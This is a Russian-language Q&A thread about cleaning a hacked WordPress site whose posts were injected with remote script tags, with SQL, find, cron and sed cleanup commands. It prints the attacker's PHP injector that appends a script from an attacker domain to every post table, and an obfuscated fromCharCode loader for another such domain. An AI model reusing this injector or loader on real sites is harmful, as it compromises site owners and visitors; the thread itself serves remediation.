Вопрос или проблема
Сайт был взломан, и все посты были заражены строкой кода js под содержимым!
<script src="https://js.xxxxxxx.ga/stat.js?n=ns1" type="text/javascript"></script>
Я нашел вредоносный файл в корневом каталоге, который инъектирует код JS с помощью команды:
$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 ";
$result2 = $conn->query($q2);
if ($result2->num_rows > 0) {
while($row2 = $result2->fetch_assoc()) {
$val = $row2['post_content'];
if(strpos($val, "js.donatelloflowfirstly.ga") === false){
if(strpos($val, "js.donatelloflowfirstly.ga") === false){
$q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src="https://js.donatelloflowfirstly.ga/stat.js?n=ns1" type="text/javascript"></script>\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'";
$conn->query($q3);
echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
} else {
}
}
}
} else {
}
}
} else {
}
$conn->close();
Кто-нибудь, пожалуйста, помогите мне с командой MYSQL, чтобы я мог удалить этот код из PHPmyadmin.
Перейдите в PHPmyadmin. Нажмите на базу данных и выполните следующий SQL-запрос:
UPDATE wp_posts SET post_content=(REPLACE (post_content, 'https://js.xxxxxxx.ga/stat.js?n=ns1',''));
Вышеуказанное содержит источник js скрипта. Мы просто удаляем это.
Это происходит по многим причинам. И вам нужно выяснить точный источник инфекции. Это чаще всего происходит в пиратских/нульнах темах. Ну, следуйте шагам ниже, чтобы успешно избавиться от этого.
Настройка:
- Используйте VS Code или что-то подобное, что поддерживает опцию “поиск по файлам”. (не Notepad++)
- Скачайте свежий WordPress (версия, которую вы используете)
Решение:
- Скачайте полную резервную копию вашего проекта с сервера и поместите ее в какую-нибудь папку (например, project-dev).
- Откройте эту папку с помощью VS Code.
- Нажмите на Правка > Поиск в файлах
- Ищите “base64”. Убедитесь, что ничего не закодировано. Если вы что-то найдете, попытайтесь декодировать это. Существует множество онлайн-декодеров base64.
- Проверьте файл function.php. Проверьте первую строку файла. Она должна начинаться с комментария. Если нет, то проверьте, что написано. Если это что-то вроде
“class.[некоторый текст]” или “dir/password” или “id/password”, за которым следует какой-то хэш внутри условия, то удалите это до правильной строки комментария. (Большинство тем начинается с комментария) - Убедитесь, что все файлы в теме необходимы. и у вас нет больше таких кодов.
- В большинстве случаев это находится в 2-3 местах.
- Теперь скопируйте папку “project-dev/your-project/wp-content/themes/theme-name”.
- Извлеките свежий WordPress, который вы сначала скачали, в другой каталог.
- Вставьте скопированную папку темы в ваш новый WordPress.
- Скопируйте все и загрузите обратно на сервер и измените файл wp-config.
- Также очистите БД, которую я упоминал ранее.
Если вы застряли, напишите мне на [email protected]
К @Behemoth спасибо за ваш ответ! Я только что отредактировал вашу команду с “поскольку в js коде есть ‘ это сработало!
UPDATE wp_posts SET post_content = REPLACE (post_content, "<script src="https://js.xxxxxxx.ga/stat.js?n=ns1" type="text/javascript"></script>", '');
Я использую платную тему, некоторые платные плагины, но 2 нулевых плагина, это стыдно! Теперь ищу инструменты для проверки кодов! Надеюсь, смогу найти заднюю дверь …
Это мой список команд для linux centos:
1. удалить вредоносные скрипты
find /var/www/ -type f -name "_a" -exec rm -f "{}" +;
find /var/www/ -type f -name "_t" -exec rm -f "{}" +;
Поместите эту команду в cron, чтобы поддерживать сервер в чистоте (удалять вредоносные файлы каждые 15 минут, если они найдены на сервере):
# выполняйте каждые 15 минут
*/15 * * * * find /var/www/ -type f -name "rms_unique_wp_mu_pl_fl_nm.php" -exec rm -f "{}" +; find /var/www/ -type f -name "rms-script-ini.php" -exec rm -f "{}" +; find /var/www/ -type f -name "rms-script-mu-plugin.php" -exec rm -f "{}" +; find /var/www/ -type f -name "_a" -exec rm -f "{}" +; find /var/www/ -type f -name "_t" -exec rm -f "{}" +;
2. очистить кэш из WP плагина
3. очистить БД
используйте этот SQL-запрос
#проверить затронутые записи
SELECT * FROM wp_posts WHERE post_content LIKE "%donatello%";
SELECT * FROM wp_posts WHERE post_content LIKE "%blackwater%";
SELECT * FROM wp_options WHERE option_value LIKE "%donatello%";
SELECT * FROM wp_options WHERE option_value LIKE "%blackwater%";
SELECT * FROM wp_posts WHERE post_content LIKE "%directednotconverted%";
SELECT * FROM wp_options WHERE option_value LIKE "%directednotconverted%";
SELECT * FROM wp_posts WHERE post_content LIKE "%lowerbeforwarden%";
SELECT * FROM wp_options WHERE option_value LIKE "%lowerbeforwarden%";
#очистить БД
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src="https://js.donatelloflowfirstly.ga/stat.js?n=ns1" type="text/javascript"></script>", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script type="text/javascript" src="https://js.donatelloflowfirstly.ga/stat.js?w=1"></script", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src="https://js.donatelloflowfirstly.ga/statistics.js?n=ns1" type="text/javascript"></script>", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src=""https://js.donatelloflowfirstly.ga/statistics.js?n=ns1"" type=""text/javascript""></script>", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src="https://scripts.lowerbeforwarden.ml/src.js?n=ns1" type="text/javascript"></script>", ''));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src=""https://scripts.lowerbeforwarden.ml/src.js?n=ns1"" type=""text/javascript""></script>", '));
#проверить снова, если все чисто
SELECT * FROM wp_posts WHERE post_content LIKE "%donatello%";
SELECT * FROM wp_posts WHERE post_content LIKE "%blackwater%";
SELECT * FROM wp_options WHERE option_value LIKE "%donatello%";
SELECT * FROM wp_options WHERE option_value LIKE "%blackwater%";
SELECT * FROM wp_posts WHERE post_content LIKE "%directednotconverted%";
SELECT * FROM wp_options WHERE option_value LIKE "%directednotconverted%";
SELECT * FROM wp_posts WHERE post_content LIKE "%lowerbeforwarden%";
SELECT * FROM wp_options WHERE option_value LIKE "%lowerbeforwarden%"
4. проверить и очистить вредоносный код внутри файла
проверить на плоский текст вредоносный код:
cd /var/www
grep -rlF "donatello"
grep -rlF "blackwater"
grep -rlF "lowerbeforwarden"
очистить код, внедренный как плоский текст:
grep -rlF "donatello" | xargs sed -i "s/<script type="text\/javascript" src="https:\/\/js.donatelloflowfirstly.ga\/statistics.js?n=nb5"><\/script>//g"
grep -rlF "lowerbeforwarden" | xargs sed -i "s/<script type="text\/javascript" src="https:\/\/scripts.lowerbeforwarden.ml\/src.js?n=nb5"><\/script>//g"
проверить на закодированный вредоносный код, если вы конвертируете числовую строку
String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115)
в utf8, вы увидите:
h,t,t,p,s,:,/,/,s,c,r,i,p,t,s,.,l,o,w,e,r,b,e,f,o,r,w,a,r,d,e,n,.,m,l,/,s,r,c,.,j,s
найден код:
grep -rlF "String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115)"
удалить код:
grep -rlF "String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115)" | xargs sed -i "s/<script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))\[0\]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))\[0\]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))\[0\].appendChild(elem);})();<\/script>//g"
grep -rlF "String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115)" | xargs sed -i "s/Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,115,114,99,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))\[0\]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))\[0\]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))\[0\].appendChild(elem);})();//g"
Последняя зашифрованная строка относится к варианту “lowerbeforwarden”. Используйте правильную последовательность для “donatello”.
Надеюсь, это поможет.
Ответ или решение
Чтобы массово удалить определённую часть всех записей WordPress, например, строки с вредоносным JavaScript-кодом, необходимо использовать SQL-запросы в phpMyAdmin или в командной строке MySQL. В данном случае мы рассмотрим, как удалить инъектированный код, который отображается в содержимом записей постов.
Подготовка к удалению вредоносного кода
-
Резервное копирование базы данных. Перед внесением любых изменений в базу данных убедитесь, что у вас есть резервная копия. Это позволит восстановить данные в случае ошибки или непредвиденных последствий.
-
Доступ к phpMyAdmin. Зайдите в phpMyAdmin через вашу панель управления хостингом. Выберите базу данных вашего WordPress-сайта.
Удаление вредоносного кода
Чтобы удалить вредоносный JavaScript-код из содержимого всех постов, выполните следующий SQL-запрос:
UPDATE wp_posts
SET post_content = REPLACE(post_content, '<script src="https://js.donatelloflowfirstly.ga/stat.js?n=ns1" type="text/javascript"></script>', '')
WHERE post_content LIKE '%<script src="https://js.donatelloflowfirstly.ga/stat.js?n=ns1"%';
Подробности запроса
UPDATE wp_posts
— указывает, что мы обновляем таблицу постов.SET post_content = REPLACE(...)
— выполняет замену содержимого поляpost_content
. В данном случае мы заменяем вредоносный JavaScript-код на пустую строку.WHERE post_content LIKE '%<script src="...%'
— условие, которое позволяет обновлять только те записи, которые содержат указанный код, тем самым ускоряя выполнение запроса.
Дополнительные шаги
После удаления кода в постах рекомендуется выполнить следующие действия:
-
Проверка на наличие других вредоносных фрагментов. Используйте следующий запрос, чтобы проверить, остались ли другие вредоносные строки:
SELECT * FROM wp_posts WHERE post_content LIKE '%<script%';
-
Анализ плагинов и тем. Вредоносный код может также быть внедрён в файлы плагинов или тем. Проверьте все файлы на наличие подозрительного кода.
-
Удаление вредоносных файлов. Используйте SSH или FTP для удаления подозрительных файлов и каталогов, делающих ваш сайт уязвимым.
-
Обновление системы. Убедитесь, что вы используете актуальные версии WordPress, тем и плагинов, чтобы закрыть возможные уязвимости.
-
Установка плагина безопасности. Рассмотрите возможность установки плагина безопасности, который будет регулярно сканировать ваш сайт на наличие вредоносного кода и уязвимостей.
Заключение
Удаление вредоносного кода из записей WordPress требует внимательности и осторожности. Используйте предоставленные SQL-запросы для быстрого и эффективного удаления, но не забывайте о необходимости резервного копирования и дальнейшей проверки безопасности вашего сайта. Надеемся, что эти рекомендации помогут вам восстановить безопасную работу вашего WordPress-сайта.